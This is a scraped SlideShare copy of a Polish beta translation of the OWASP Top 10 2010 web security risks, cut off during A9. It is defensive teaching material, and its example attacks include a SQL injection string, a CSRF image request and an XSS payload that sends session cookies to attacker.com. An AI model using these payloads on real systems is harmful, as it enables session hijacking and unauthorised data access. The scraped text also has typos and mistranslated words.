OWASP w skrócie<br />O<br />
I<br />Wstęp<br />
Informacje<br />i<br />
 Luka<br />     Luka<br /> Luka<br /> Luka<br />Jakie są zagrożenia bezpieczeństwa aplikacji?<br />Napastnicy  potencjalni...
Artykuł dot. Modelowania Ryzyk/ Zagrożeń</li></ul>Zewnętrzne<br /><ul><li>FAIR Information Risk Framework
Microsoft Threat Modeling (STRIDE i DREAD)</li></ul>Ryzyka Bezpieczeństwa Aplikacji<br />RA<br />
OWASP Top 10 Ryzyk Bezpieczeństwa Aplikacji – 2010 <br />T10<br />
    Słabosci     Bezpieczeństwa     <br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br />    Wektory<br />    Ataku<...
OWASP Injection Flaws Article
ESAPI Encoder API
ESAPI Input Validation API
ASVS: Output Encoding/Escaping Requirements (V6)
OWASP Testing Guide: Chapter on SQL Injection Testing
OWASP Code Review Guide: Chapter on SQL Injection
OWASP Code Review Guide: Command Injection</li></ul>Zewnętrzne<br /><ul><li>CWE Entry 77 on Command Injection
CWE Entry 89 on SQL Injection</li></ul>A1<br />Wstrzyknięcia<br />
Cross-Site Scripting (XSS)<br />A2<br />    Słabosci     Bezpieczeństwa     <br />Wpływ<br />Techniczny<br />Wpływ<br />Bi...
OWASP Cross-Site Scripting Article
ESAPI Project Home Page
ESAPI Encoder API
ASVS: Output Encoding/Escaping Requirements (V6)
Upcoming SlideShare
Loading in …5
×

Owasp top 10 2010 final PL Beta

2,489 views

Published on

Polish translation for OWASP TOP10 2010. Beta version, needs some checking. Michal Wiczynski.

Published in: Technology
  • Be the first to comment

Owasp top 10 2010 final PL Beta

  1. 1.
  2. 2. OWASP w skrócie<br />O<br />
  3. 3. I<br />Wstęp<br />
  4. 4. Informacje<br />i<br />
  5. 5. Luka<br /> Luka<br /> Luka<br /> Luka<br />Jakie są zagrożenia bezpieczeństwa aplikacji?<br />Napastnicy potencjalnie mogą używać wiele sposobów aby przez aplikację dostać się do wnętrza organizacji w celu wyrządzenia szkód. Każdy z tych sposobów przedstawia zagrożenie które może, lub nie, być na tyle poważne żeby na nie zwrócić uwagę.<br />Czasami znalezienie odpowiedniego exploita okazuje się trywialną sprawą, a czasem bardzo trudną. Podobnie, wyrządzone szkody, mogą okazać się od zerowych aż do takich które powodują upadek Twojej organizacji. Aby określić ryzyko dla Twojej organizacji, możesz ocenić prawdopodobieństwo związane z każdym zagrożeniem, wektorem ataku, słabościami bezpieczeństwa I połączyć je z szacunkowym skutkiem dla Twojej organizacji. Wszystkie te czynniki, razem określają całkowite zagrożenie.<br />Czynniki<br />Zagrożenia<br />Wektory<br />Ataku<br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br />Kontrola<br />Bezpieczeństwa<br />Luki bezpieczeństwa<br />Wpływ<br />Kontrola<br />Atak<br />Aktywa<br />Kontrola<br />Atak<br />Wpływ<br />Funkcje<br />Atak<br />Wpływ<br />Aktywa<br />Kontrola<br />Jakie jest moje zagrożenie?<br />Aktualne wydanie OWASP Top 10 skupia się na identyfikowaniu najważniejszych zagrożeń dla szerokiego wachlarza organizacji. Dla każdego z poniższych zagrożeń, przedstawimy ogólne informacje na temat prawdopodobieństwa, oraz całkowitego skutku używając tego oto prostego schematu ceny, który jest oparty na metodologii szacowania ryzyka OWASP. <br />Jednakże tylko Ty znasz specyfikację swojego środowiska oraz biznesu. Dla wybranej aplikacji, może nie być odpowiedniego zagrożenia podatnego na odpowiedni atak, lub też skutki techniczne mogą nie mieć żadnego wpływu na działanie aplikacji. Dlatego też, powinieneś sam ocenić ryzyko, skupiając się na zagrożeniach, kontrolach bezpieczeństwa, oraz skutkami biznesowymi dla Twojej organizacji.<br />Chociaż poprzednie wersje OWASP Top 10 skupiały się na identyfikowaniu najbardziej znanych luk, to zostały zbudowane również w oparciu o zagrożenie. Nazwy zagrożeń w Top 10, wywodzą się z typu ataku, typu słabości, oraz skutku jaki mogą spowodować. Wybrane nazwy są najbardziej znane oraz osiągają najwyższy stopień świadomości.<br />Odwołania<br />OWASP<br /><ul><li>OWASP Risk Rating Methodology
  6. 6. Artykuł dot. Modelowania Ryzyk/ Zagrożeń</li></ul>Zewnętrzne<br /><ul><li>FAIR Information Risk Framework
  7. 7. Microsoft Threat Modeling (STRIDE i DREAD)</li></ul>Ryzyka Bezpieczeństwa Aplikacji<br />RA<br />
  8. 8. OWASP Top 10 Ryzyk Bezpieczeństwa Aplikacji – 2010 <br />T10<br />
  9. 9. Słabosci Bezpieczeństwa <br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br /> Wektory<br /> Ataku<br />Czynniki<br />Zagrożenia<br />Czy jestem podatny na wstrzyknięcia?<br />Najlepszym sposobem identyfikacje tej luki , jest sprawdzenie czy interpretery poprawnie oddzielają dane autoryzowane od nieautoryzowanych. Dla zapytań SQL, oznacza to wiązanie zmiennych z już wcześniej przygotowanymi zapytaniami oraz procedurami, unikając w ten sposób dynamicznych zapytań.<br /> Przegląd kodu jest szybkim I efektywnym sposobem na sprawdzenie poprawności działania interpretera. Narzędzia do analizy kodu, z pewnością pomogą analitykowi bezpieczeństwa, prześledzić przepływ danych przez aplikację. Manualne testy penetracyjne, potwierdzą wystąpienie błędu poprzez napisanie własnoręcznie exploita. <br />Zautomatyzowane skanowania mogą naprowadzić na miejsce potencjalnego wystąpienia błędu. Jednak nie zawsze skanery są w stanie przeprowadzić kompletny atak.<br />Jak się bronić przed wstrzyknięciami?<br />Zapobieganie wstryzknięciom wymaga odseparowania niezaugfanych danych od zapytań I poleceń.<br />Preferowaną opcją jest używanie bezpiecznego API, które całkowicie unika wykorzystywania interpretera lub umożliwia dostęp do spametryzowanego interfejsu. Należy uwazac nawet na sparametryzowane API, poniewaz mogabyc w nich zaszyte dodatkowe polecenia. <br />Jeżeli nie ma dostępnego sparametryzowanego API, należy ostrożnie ecsapować znaki kierowane do interpretera. OWASP's ESAPI posiada już  gotowe rozwiązania.<br />Stosowanie “whitelisty”również pomoże w podniesieniu bezpieczeństwa aplikacji. , jednak nie jestto definitywne rozwiązanie, ponieważ niektóre aplikacje wymagają znaków specjalnych. OWASP's ESAPI posiada rozszerzalną bibliotekę zasad walidacji dla white listy.<br />Przykładowy atak<br />Aplikacja używa danych z niezaufanego źródła w celu skonstruowania podatnego na bledyzapytania SQL:<br />String query = "SELECT * FROM konta WHERE klientID='" + request.getParameter("id") +"'";<br />Atakujący modyfikuje wartość parametru id, w taki sposób , że wysyła ‘, lub ‘ or‘1’=’1. Zmienia to postać zapytania, w taki sposób, że zapytanie zwraca wszystkie rekordy, zamiast tylko jednego:<br />http://przyklad.com/app/kontoView?id=' or '1'='1 <br />W najgorszym przypadku, atakujący użyje tej podatności w celu wywołania predefiniowanych procedur w bazie danych, umożliwiających na całkowite przejęcie kontroli nad bazą danych.<br />Odwołania<br />OWASP<br /><ul><li>OWASP SQL Injection Prevention Cheat Sheet
  10. 10. OWASP Injection Flaws Article
  11. 11. ESAPI Encoder API
  12. 12. ESAPI Input Validation API
  13. 13. ASVS: Output Encoding/Escaping Requirements (V6)
  14. 14. OWASP Testing Guide: Chapter on SQL Injection Testing
  15. 15. OWASP Code Review Guide: Chapter on SQL Injection
  16. 16. OWASP Code Review Guide: Command Injection</li></ul>Zewnętrzne<br /><ul><li>CWE Entry 77 on Command Injection
  17. 17. CWE Entry 89 on SQL Injection</li></ul>A1<br />Wstrzyknięcia<br />
  18. 18. Cross-Site Scripting (XSS)<br />A2<br /> Słabosci Bezpieczeństwa <br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br /> Wektory<br /> Ataku<br /> Słabosci Bezpieczeństwa <br />Czynniki<br />Zagrożenia<br />Czy jestem podatny na XSS??<br />Należy upewnić się czy przed wysłaniem do przeglądarki danych otrzymanych od użytkownika, wszystkie znaki zostały odpowiednio zweryfikowane. Odpowiednia weryfikacja na wyjściu zapewnia, że tekst odczytywany w przeglądarce jest traktowany jako test a nie aktywna część strony. Narzędzia zarówno do statycznej jak I dynamicznej analizy kodu, są w stanie znaleźć niektóre błędy XSS automatycznie. Niestety, większość web aplikacji buduje strony w trochę inny sposób, lub też używa innego rodzaju interpreterów ( JavaScript, ActiveX, Flash, Silverlight) które znacznie utrudniają automatyczną detekcję błędów. Dlatego też, wymagane jest połączenie manualnej analizy kodu, oraz testu penetracyjnego w połączeniu z narzędziami automatyzującymi ten proces. <br />Technologie Web 2.0, typu AJAX znacznie utrudniają wykrycie XSS.<br />Jak się bronić przed XSS?<br />Zabezpieczanie się przed XSS wymaga trzymania niezaufanych danych z dala od aktywnej zawartości strony..<br />Preferowanym wyborem jest escapowanie wszystkich niezaufanych danych, w zależności od miejsca użycia. Mowa utaj o umieszczaniu danych w kontekście body, atrybutów, JavaScript, XSS, URL. Jeżeli dany frameworków nie posiada automatycznego escapowania znaków, to programiści powinni to zadbać. Więcej informacji: OWASP XSS Prevention Cheat Sheet<br />Zalecane jest również stosowanie White listy, która znacznie pomaga zabezpieczyć się przed atakami typu XSS, ale nie zapewnia 100% bezpieczeństwa, ponieważ niektóre aplikacje wymagają używania znaków specjalnych. Tego typu walidacja powinna rozkodować otrzymane dane, zwalidować ich długość, znaki, oraz odpowiednio sformatować zanim nastąpi ich akceptacja.<br />Prosimy o rozważenie zastosowania Content Security Policyod Mozilla, użytego w Firefox 4 w celu obrony przed XSS<br />Przykładowy atak<br />Aplikacja używa niezaufanych danych w celu wyświetlenia następującego kodu HTML bez jakiejkolwiek wcześniejszej walidacji lub escapowania znaków:<br /> (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";<br />Atakujący zmienia w przeglądarce parametr ‘CC’ na:<br />'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.<br />Powoduje to wysłanie ID sesji ofiary do strony atakującego. Dzięki temu, atakujący jest w stanie przejąć sesję ofiary<br />UWAGA, XSS może być użyte w celu ominięcia zabezpieczeń przed CSRF. Więcej informacji w dziale A5.<br />Odwołania<br /><ul><li>OWASP XSS Prevention Cheat Sheet
  19. 19. OWASP Cross-Site Scripting Article
  20. 20. ESAPI Project Home Page
  21. 21. ESAPI Encoder API
  22. 22. ASVS: Output Encoding/Escaping Requirements (V6)
  23. 23. ASVS: Input Validation Requirements (V5)
  24. 24. Testing Guide: 1st 3 Chapters on Data Validation Testing
  25. 25. OWASP Code Review Guide: Chapter on XSS Review</li></ul>Zewnętrzne<br /><ul><li>CWE Entry 79 on Cross-Site Scripting
  26. 26. RSnake’s XSS Attack Cheat Sheet</li></li></ul><li>Wadliwa autentykacja i zarządzanie sesjami<br />A3<br /> Słabosci Bezpieczeństwa <br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br /> Wektory<br /> Ataku<br /> Słabosci Bezpieczeństwa <br />Czynniki<br />Zagrożenia<br />Czy jestem podatny?<br />Najważniejsze dane do zabezpieczenia: dane dostępowe oraz ID sesji.<br />Czy dane dostępowe są zaszyfrowane w odpowiedni sposób ? Patrz A7.<br />Czy dane dostępowe są możliwe do odgadnięcia lub nadpisane w wyniku słabego jakościowo systemu zarzadzania kontami ( np.. Stworzenie konta, zmiana hasła, odzyskiwanie hasła, słaba entropia sesji)?<br />Czy ID sesji są widoczne w URL? (np.. URL rewriting)?<br />Czy ID sesji są podatne na ataki typu session fixation? <br />Czy ID sesji tracą ważność a użytkownicy są automatycznie wylogowani?<br />Czy ID sesji zmienia się po zalogowaniu?<br />Czy hasła, ID sesji oraz inne dane dostępowe wysyłane są wyłącznie polaczeniami TLS? Patrz A9.<br />W celu uzyskania dodatkowych informacji, przeczytaj wymagania ASVS dla działów V2 oraz V3 .<br />Jak temu zapobiec?<br />Glownym celem organizacji jest umozliwienie programistom:<br />Stworzenia odpowiendio mocnych systemow uwierzytelniania I kontroli zarzazdania sesja. Kontrole te powinny:<br />Spelniac wszystkie wymagania odnosnie autentykacji oraz zarzadzania sesjami okreslone w Application Security Verification Standard (ASVS) OWASP dzialu V2 (Autentykacja) oraz V3 (Zarzadzanie sesjami).<br />Posiadac prosty interfejs dla programistow. Rozwaz ESAPI Authenticator and User APIs jako dobre przyklady emulacji, uzycia oraz budowania systemu.<br />Wlozenia wysilku w unikniecie bledow typu XSS ktore umozliwiaja wykradzenie danych sesji. Patrz A2.<br />Odwołania<br />OWASP<br />W celu uzyskania dokładniejszych informacji odnośnie tych problemów oraz sposobów ich unikania prosimy zajrzeć do ASVS requirements areas for Authentication (V2) and Session Management (V3).<br /><ul><li>OWASP Authentication Cheat Sheet
  27. 27. ESAPI Authenticator API
  28. 28. ESAPI User API
  29. 29. OWASP Development Guide: Chapter on Authentication
  30. 30. OWASP Testing Guide: Chapter on Authentication</li></ul>Zewnętrzne<br /><ul><li>CWE Entry 287 on Improper Authentication</li></ul>Przykładowe ataki<br />Atak #1: Linie lotnicze podczas rezerwacji miejsc umieszczają ID sesji oraz przekierowań URL w adresie URL:<br />http://example.com/sale/saleitems;jsessionid= 2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii<br />Użytkownik po autentykacji może poinformować znajomych o wyprzedaży. Wysyła w/w link razem ze swoim ID sesji. Kiedy znajomi klikną w link, będą mieli możliwość dostępu do danych konta (karty kredytowej) osoby która wysłała link.<br />Atak #2: Ważność sesji w aplikacji nie jest ustawiona poprawnie. Ofiara używając komputera w kawiarence internetowej, zamiast kliknąć ‘wyloguj’ porostu wyłącza okno przeglądarki. Atakujący po otwarciu strony po godzinie czasu może mieć możliwość dostępu do konta ofiary.<br />Atak#3: Atakujący z zewn. lub wewn. Organizacji jest w stanie dostać się do bazy danych z hasłami. Brak jakiejkolwiek enkrypcji haseł umożliwia przejecie kontroli nad wszystkimi kontami.<br />
  31. 31. Niebezpieczne Bezpośrednie Odwołania<br />A4<br /> Słabosci Bezpieczeństwa <br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br /> Wektory<br /> Ataku<br /> Słabosci Bezpieczeństwa <br />Czynniki<br />Zagrożenia<br />Czy jestem podatny?<br />Najlepszym sposobem identyfikacje tej luki jest sprawdzenie czy wszystkie odwołania do obiektów są odpowiednio zabezpieczone. Sprawdź::<br />Dla odwołań bezpośrednich do zastrzeżonych zasobów, czy aplikacja powinna sprawdzić prawo dostępu do danego obiektu przez aktualnie zautoryzowanego użytkownika..<br />Jeżeli referencja jest odwołaniem pośrednim, to czy mapowanie bezpośredniej referencji powinno mieć weryfikacje dla wartości danego obiektu dla autoryzowanego użytkownika.<br />Analiza kodu aplikacji, umożliwi szybka weryfikacje czy dane rozwiązanie jest bezpiecznie zaimplementowane. Testowanie jest również przydatne w celu identyfikacji niebezpiecznych bezpośrednich odwołań do obiektów. Narzędzia automatyzujące skanowania przeważnie nie są w stanie wykryć błędów tego typu.<br />Jak zapobiegać?<br />Zabezpieczanie bezpośrednich odwołań wymaga zdefiniowania reguł dostępności danego obiektu dla użytkowników (np. numer obiektu, nazwa pliku):<br />Używaj odwołań do obiektów per sesji lub użytkownik. Takie rozwiązanie uniemożliwia atakującym odwoływanie się do nieautoryzowanych obiektów. Np zamiast używania klucza z bazy danych, zdefiniuj możliwe numery obiektów dla danego użytkownika które będą dostępne. OWASP’s ESAPI zawiera obydwa, sekwencyjne I losowe mapowania które mogą być wykorzystane przez programistów w celu wyeliminowania bezpośrednich odwołań do obiektów. <br />Sprawdź dostęp.. Każde bezpośrednie odwołanie do obiektu z nieautoryzowanego źródła powinno zawierać kontrole dostępu w celu sprawdzenia czy dany użytkownik ma prawo odwołania się do danego obiektu/<br />Przykładowy atak<br />Aplikacja używa niezweryfikowanych danych w zapytaniu SQL które pobiera dane odnośnie konta:<br /> String query = "SELECT * FROM accts WHERE account = ?";<br /> PreparedStatement pstmt = connection.prepareStatement(query , … );<br /> pstmt.setString( 1, request.getParameter("acct"));<br /> ResultSet results = pstmt.executeQuery( );<br />Atakujący modyfikuje parametr ‘acct’ wysyłając dowolny numer konta. Dzięki temu uzyskuje dostęp do danych innych kont.<br />http://example.com/app/accountInfo?acct=notmyacct<br />Odwołania<br />OWASP<br /><ul><li>OWASP Top 10-2007 on Insecure Dir Object References
  32. 32. ESAPI Access Reference Map API
  33. 33. ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() )</li></ul>W celu dodatkowych informacji odnośnie wymagań kontroli dostępu prosimy zobaczyć ASVS requirements area for Access Control (V4).<br />Zewnętrzne<br /><ul><li>CWE Entry 639 on Insecure Direct Object References
  34. 34. CWE Entry 22 on Path Traversal(Przykład ataku z wykorzystaniem niebezpiecznego bezpośredniego odwołania)</li></li></ul><li>Cross-Site Request Forgery(CSRF)<br />A5<br /> Słabosci Bezpieczeństwa <br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br /> Wektory<br /> Ataku<br /> Słabosci Bezpieczeństwa <br />Czynniki<br />Zagrożenia<br />Jak sie bronic przed CSRF?<br />Ochrona przed CSRF polega na załączaniu unikalnego nieprzewidywalnego tokena przy każdym z zapytań ( w treści strony lub URL). Tokeny powinny być unikalne dla każdej nowej sesji użytkownika, a najlepiej jeżeli są unikalne dla każdego zapytania.<br />Preferowanym rozwiązaniem jest wysyłane tokena jako ukryte pole ( input typu hidden) dzięki czemu token wysyłany jest w treści strony a nie przekazywany w URL. Podnosi to poziom bezpieczeństwa przez nie ujawnianie tokenu w adresie URL.<br />Token można umieścić w serwis URL. Jednak jak już wspomniano może to prowadzić do jego ujawnienia dla osoby atakującej.<br />OWASP CSRF Guardmoże być użyty w celu automatycznego dopisywania tokenów dla aplikacji napisanych w Java EE, .NET lub php. ESAPI OWASP zawiera generatory oraz walidatory tokenów dzięki którym developerzy mogą zabezpieczyć transakcje w swoich aplikacjach.<br />Czy jestem podatny na CSRF?<br />Najprostszym sposobem identyfikacje tej luki jest zweryfikowanie czy każdy z linków zawiera nieprzewidywalny, unikalny token dla każdego użytkownika. Bez tego typu tokenów atakujący są w stanie stworzyć szkodliwe zapytania. Skup się na linkach umożliwiających zmianę stanów aplikacji gdyż te najczęściej padają ofiara ataku. Sprawdź wielo poziomowe zapytania, bo i te można podrobić używając odpowiednich tagów lub JavaScript. Na token nie nadają się ( przeważnie) cookies, adres ip, oraz pozostałe informacje które są automatycznie wysyłane przez przeglądarkę.<br />Narzędzie CSRF Tester wydane przez OWASP wspomaga proces generowania przypadków użycia aby zademonstrować zagrożenia związane z bledami CSRF.<br />Example Attack Scenario<br />Aplikacja umożliwia użytkownikowi wysłanie niezabezpieczonego zapytania zmieniające stan aplikacji np..:<br /> http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243<br />Atakujący tworzy zapytanie które będzie zawierać informacje o przelaniu pieniędzy z konta ofiary na konto atakującego tak skonstruowane zapytanie zostanie ukryte jako odnośnik do obrazka lub jako iframe zapisany na wielu stronach do których ma dostęp atakujący.<br /><img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" /><br />Jeżeli zalogowana ofiara odpowiedzi którakolwiek ze stron zawierających szkodliwy kod, to te zapytania będą zawierać dane autentykacyjne ofiary dzięki czemu zapytanie wykona się bez przeszkód i będzie postrzegane jako autoryzowana akcja którą wykonał użytkownik.<br />Odwołania<br />OWASP<br /><ul><li>OWASP CSRF Article
  35. 35. OWASP CSRF Prevention Cheat Sheet
  36. 36. OWASP CSRFGuard - CSRF Defense Tool
  37. 37. ESAPI Project Home Page
  38. 38. ESAPI HTTPUtilities Class with AntiCSRF Tokens
  39. 39. OWASP Testing Guide: Chapter on CSRF Testing
  40. 40. OWASP CSRFTester - CSRF Testing Tool </li></ul>Zewnętrzne<br /><ul><li>CWE Entry 352 on CSRF </li></li></ul><li>Błędy konfiguracji zabezpieczeń<br />A6<br /> Słabosci Bezpieczeństwa <br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br /> Wektory<br /> Ataku<br /> Słabosci Bezpieczeństwa <br />Czynniki<br />Zagrożenia<br />Czy jestem podatny?<br />Czy przeprowadziłeś kompleksowe zabezpieczanie systemu informatycznego?<br />Czy posiadasz procedury, oprogramowanie wspomagające aktualizację systemów operacyjnych, web/ serwerów aplikacyjnych, DBMS, aplikacji oraz ich kodów źródłowych zgodnie z ich najnowsza wersja?<br />Czy usunąłeś, Odinstalowałeś, usunąłeś wszelkie zbędne rzeczy? Tj. Porty, usługi, strony, konta, dostępy ?<br />Czy domyślne hasła są zmienione/ usunięte ?<br />Czy ustawienia obsługi błędów uniemożliwiają wgląd w logi stosu (stack trace), oraz innych informacji które mogą pojawiać się wraz z opisem błędów?<br />Czy ustawienia bezpieczeństwa we framewokach ( Struts, Spring, ASP .NET) oraz w bibliotekach są zrozumiałe i odpowiednio skonfigurowane?<br />Konkretny oraz powtarzalny proces jest wymagany w celu rozwijania i utrzymywania poprawnego bezpieczeństwa aplikacji.<br />Jak temu zapobiec?<br />Zaleca się:<br />Powtarzalność procesu zabezpieczania umożliwiającego szybkie stworzenie nowego odpowiednio zabezpieczonego środowiska. Testowe, QA, oraz środowiska produkcyjne powinny być skonfigurowane w identyczny sposób. Proces ten powinien zostać zautomatyzowany w celu zmniejszenia nakładu pracy poniesionego podczas konfiguracji nowego bezpiecznego środowiska.<br />Wszystkie kody, biblioteki które są zazwyczaj pomijane podczas aktualizacji powinny zostać poddane procesowi nieustannego sprawdzania dostępnych aktualizacji.<br />Odpowiednia architekturę aplikacji umożliwiająca stosowne bezpieczeństwo oraz separację komponentów.<br />Wykonywanie regularnych skanów oraz audytów w celu detekcji brakujących latek lub nieodpowiedniej konfiguracji.<br />Przykładowe ataki<br />Atak#1: Twoja aplikacja zbudowana jest w oparciu o potężny framework jakim jest Struts, lub Spring. Okazuje się ze znaleziono błędy typu XSS w jednym z tych frameworków. Udostępniono odpowiednie latynoskich bezpieczeństwa uniemożliwiające wykorzystanie tych błędów. Jednak Z powodu nie wykonywania aktualizacji bibliotek, Kreta narażony na ataki hakerów. Dopóki nie uaktualnisz swojej aplikacji, jesteś narażony na tego typu ataki. <br />Atak#2: konsola administracyjna serwera aplikacyjnego nie jest wyłączona Domyślne konta nie są usunięte haker znajduje konsole oraz loguje się na standardowe hasło użytkownika. Dzięki temu przejmuje kontrole nad Twoja maszyna. <br />Atak#3: listowanie katalogów nie zostało wyłączone. Atakujący widzi ze jest w stanie listować zawartość katalogów, w celu znalezienia intersujących plików. W ten sposób ściąga kody źródłowe aplikacji w celu ich późniejszego wykorzystania. Jeżeli znajdzie błędy w kodzie, przejmie kontrole nad Twoja maszyna. <br />Atak#4: ustawienia serwera aplikacyjnego umożliwiają śledzenie błędów. Atakujący uwielbiają dodatkowe informacje na temat atakowanego systemu :)<br />Odwołania<br />OWASP<br /><ul><li>OWASP Development Guide: Chapter on Configuration
  41. 41. OWASP Code Review Guide: Chapter on Error Handling
  42. 42. OWASP Testing Guide: Configuration Management
  43. 43. OWASP Testing Guide: Testing for Error Codes
  44. 44. OWASP Top 10 2004 - Insecure Configuration Management </li></ul>Wiecej informacji: ASVS requirements area for Security Configuration (V12).<br />Zewnętrzne<br /><ul><li>PC Magazine Article on Web Server Hardening
  45. 45. CWE Entry 2 on Environmental Security Flaws
  46. 46. CIS Security Configuration Guides/Benchmarks</li></li></ul><li>Błędna implementacja kryptografii<br />A7<br /> Słabosci Bezpieczeństwa <br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br /> Wektory<br /> Ataku<br /> Słabosci Bezpieczeństwa <br />Czynniki<br />Zagrożenia<br />Czy jestem podatny?<br /> W pierwszej kolejności należy ustalić które dane powinny być szyfrowane. Mogą być to hasła, dane kart kredytowych, rekordy NFZ, dane osobowe. Upewnij się, ze: <br />Wszystko jest zaszyfrowane oraz składowane przez długi czas, w szczególności kopie zapasowe.<br />Tylko autoryzowani użytkownicy maja dostęp do zdekryptowanych danych (np.. Kontrola dostępu – patrz A4 I A8).<br />Używany jest silny algorytm szyfrowania.<br />Wygenerowano silny klucz zabezpieczony przed nieautoryzowanym dostępem. <br />Oraz więcej… W celu dodatkowych informacji polecamy ASVS requirements on Cryptography (V7)<br />Jak temu zapobiec?<br />Pełna lista niebezpieczeństw związanych z kryptografia wykracza poza materiał listy Top 10. Chcielibyśmy przedstawić absolutne minimum zwiększające poziom bezpieczeństwa:<br />Biorąc pod uwagę zagrożenia dla twoich danych (atak wewnętrzny/ zewnętrzny) upewnij się ze odpowiednio zabezpieczysz dane właśnie przed tymi rodzajami ataków.<br />Upewnij się ze kopie są odpowiednio szyfrowane, a klucze trzymane osobno.<br />Upewnij się ze korzystasz z odpowiednio silnych algorytmów szyfrowania, wraz z odpowiednim zarzadzaniem kuczami.<br />Upewnij się ze hasła są odpowiednio hashowane za pomocą odpowiedniego algorytmu, oraz użyty jest odpowiedni salt.<br />Upewnij się ze klucze I hasła są zabezpieczone przed nieautoryzowanym dostępem.<br />Przykładowe ataki<br />Atak #1: Aplikacja zapisuje dane w postaci zaszyfrowanej uniemożliwiając ich odczyt przez osoby trzecie. Niestety baza automatycznie dekryptuje dane, na postawie kolumn z numerek karty kredytowej, dając możliwość pobrania danych za pomocą błędy wstrzyknięcia SQL. System powinien być tak skonfigurowany aby dekrypcja była możliwa jedynie po stronie backendu.<br />Atak #2: Backup z danymi NFZ jest na tej samej taśmie co klucz. Backup nigdy nie dociera do centrum z kopiami…<br />Atak #3: Baza danych z hasłami wszystkich użytkowników używa haseł bez salt 'a. Luka w uploadowaniu plików umożliwia wydobycie wszystkich haseł. Wszystkie hasła są złamane w przeciągu 4ch tygodni podczas gdy atak na hasła z saltem zająłby 3000 lat.<br />Odwołania<br />OWASP<br />W celu uzyskania dodatkowych informacji polecamy ASVS requirements on Cryptography (V7).<br /><ul><li>OWASP Top 10-2007 on Insecure Cryptographic Storage
  47. 47. ESAPI Encryptor API
  48. 48. OWASP Development Guide: Chapter on Cryptography
  49. 49. OWASP Code Review Guide: Chapter on Cryptography</li></ul>Zewnętrzne<br /><ul><li>CWE Entry 310 on Cryptographic Issues
  50. 50. CWE Entry 312 on Cleartext Storage of Sensitive Information
  51. 51. CWE Entry 326 on Weak Encryption</li></li></ul><li>Błędy ograniczeń dostępu do URL<br />A8<br /> Słabosci Bezpieczeństwa <br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br /> Wektory<br /> Ataku<br /> Słabosci Bezpieczeństwa <br />Czynniki<br />Zagrożenia<br />Czy jestem podatny?<br />Najlepszym sposobem identyfikacje tej luki, jest odwolywanie się do wszystkich stron I sprawdzanie do których z nich mamy dostęp. Sprawdź czy:<br />Jest wymagana autentykacja przy próbie dostępu do tej strony?<br />Powinna być dostępna dla KAŻDEJ autentykowanej osoby? Jeżeli nie to czy jest sprawdzanie autentykacji aby upewnić się czy użytkownik ma dostęp do tej strony?<br />Zewnętrzne mechanizmy bezpieczeństwa umożliwiają kontrole dostępu do strony na postawie autoryzacji/ autentykacji. Upewnij się ze zostały one odpowiednio skonfigurowane dla każdej ze stron. Jeżeli kontrola dostępu znajduje się w kodzie aplikacji, upewnij się ze jest wywoływana dla każdej otwieranej strony. Testy penetracyjny jest w stanie wykryć strony bez kontroli dostępu.<br />Jak temu zapobiec?<br />Odpowiednie zabezpieczenie nieautoryzowanego dostępu do URL wymaga zabezpieczenia każdej ze stron. Najczęściej jest to zapewnione przez jeden lub więcej zewnętrznych komponentów aplikacji. Mimo tych zabezpieczeń zaleca się:<br />Ustawienie polityk autentykacji/ autoryzacji na podstawie roli, aby zmniejszyć czasochłonność zarzadzania tymi politykami.<br />Polityki powinny być konfigurowalne, aby zminimalizować wszystkie hard-codowane elementy.<br />Dodatkowe mechanizmy powinny domyślnie zabronić jakiegokolwiek dostępu, umożliwiając określony na podstawie ról dostęp, jedynie wybranym użytkownikom.<br />Jeżeli strona jest na workflow, upewnij się czy ustawiono odpowiednie wartości argumentów kontroli dostępu.<br />Przykładowy atak<br />Atakujący przegląda docelowe strony systemu. Weźmy na przykład następujący adres URL który powinien wymagać autentykacji na poziomie Adamina:<br />http://example.com/app/getappInfo<br /> http://example.com/app/admin_getappInfo<br />Jeżeli atakujący nie jest zautentykowany, a ma dostęp do tej strony, to ma do niej nieautoryzowany dostęp. Jeżeli zautentykowany użytkownik ma dostęp do strony “admin_getappInfo”to jest to luka bezpieczeństwa która może umożliwić dostęp do kolejnych stron.<br />Tego typu błędy często pojawiają się kiedy linki oraz przyciski ukryte są w kodzie strony przed niezautoryzowanymi użytkownikami, I jest to jedyny mechanizm obronny aplikacji.<br />Odwołania<br />OWASP<br /><ul><li>OWASP Top 10-2007 on Failure to Restrict URL Access
  52. 52. ESAPI Access Control API
  53. 53. OWASP Development Guide: Chapter on Authorization
  54. 54. OWASP Testing Guide: Testing for Path Traversal
  55. 55. OWASP Article on Forced Browsing</li></ul>Dodatkowe informacje : ASVS requirements area for Access Control (V4).<br />Zewnętrzne<br /><ul><li>CWE Entry 285 on Improper Access Control (Authorization)</li></li></ul><li>Niewystarczająca ochrona warstwy transportu<br />A9<br /> Słabosci Bezpieczeństwa <br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br /> Wektory<br /> Ataku<br /> Słabosci Bezpieczeństwa <br />Czynniki<br />Zagrożenia<br />Czy jestem podatny?<br />Najlepszym sposobem na sprawdzenie czy warstwa transportowa strony jest odpowiednio zabezpieczona jest:<br />Czy SSL jest używany w trakcie autentykacji<br />Czy SSL jest używany dla wszystkich zasobów na stronach z usługami lub prywatnymi danymi . To zabezpieczy wszystkie dane oraz tokeny sesyjne które zostały zmienione. Strony typu Mixed SSL powinny zostać wyeliminowane, ponieważ powodują one informacje z ostrzeżeniem po stronie użytkownika I mogą prowadzić do ujawnienia danych.<br />Używane silne algorytmy szyfrowania<br />Ustawiona flaga 